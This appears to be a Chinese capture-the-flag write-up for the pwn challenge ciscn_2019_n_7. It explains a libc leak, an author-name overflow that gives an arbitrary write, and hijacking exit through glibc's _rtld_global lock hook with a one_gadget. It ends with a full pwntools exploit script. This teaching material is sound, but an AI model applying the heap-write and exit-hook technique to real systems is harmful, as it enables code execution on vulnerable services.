思路
题目有 add
,show
,edit
,exit
几个功能,输入 666
能够得到 puts@got
的地址从而得到 libc
基址。
add
和 edit
功能中输入 author name
时可以覆盖下面 article
的地址,导致任意地址写。退出程序只能通过 exit
所以无法通过改返回地址 get shell
,可以通过 exit_hook
来 get shell
。
1 2 3 4 5 6 7 8
|
void exit (int status) { __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit)
|
__run_exit_handlers
里会调用 _dl_fini
1 2 3 4 5 6 7 8
| __rtld_lock_lock_recursive (GL(dl_load_lock)); __rtld_lock_unlock_recursive (GL(dl_load_lock));
#define GL(name) _rtld_local._##name #else #define GL(name) _rtld_global._##name
|
__rtld_lock_unlock_recursive
为_rtld_global
结构题的指针变量,修改 __rtld_lock_unlock_recursive
就能够实现劫持(_rtld_lock_lock_recursive
也行)
exit
功能中有 close(1)
,close(2)
关闭了输出流,只需要 exec 1>&0
将输出重定向至输入就有回显
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * context.log_level='debug'
r = process('./ciscn_2019_n_7')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
def add(size,name): r.sendafter("-> \n",'1') r.sendafter("Length: \n",str(size)) r.sendafter("Author name:\n",name)
def edit(name,content): r.sendafter("-> \n",'2') r.sendafter("Author name:\n",name) r.sendafter("contents:\n",content)
def puts_got(): r.sendafter("-> \n",'666')
def show(): r.sendafter("-> \n",'3')
def exit(): r.sendafter("-> \n",'4')
puts_got() puts_got = int(r.recvuntil("\n").strip("\n"),16) lbase = puts_got-libc.sym["puts"] onegadget = lbase + 0xf1147 exit_hook = lbase+ 0x5f0040 + 3848
log.success(hex(lbase))
add(0x20,"0wl") edit('a'*8+p64(exit_hook),p64(onegadget))
exit()
r.interactive()
|
参考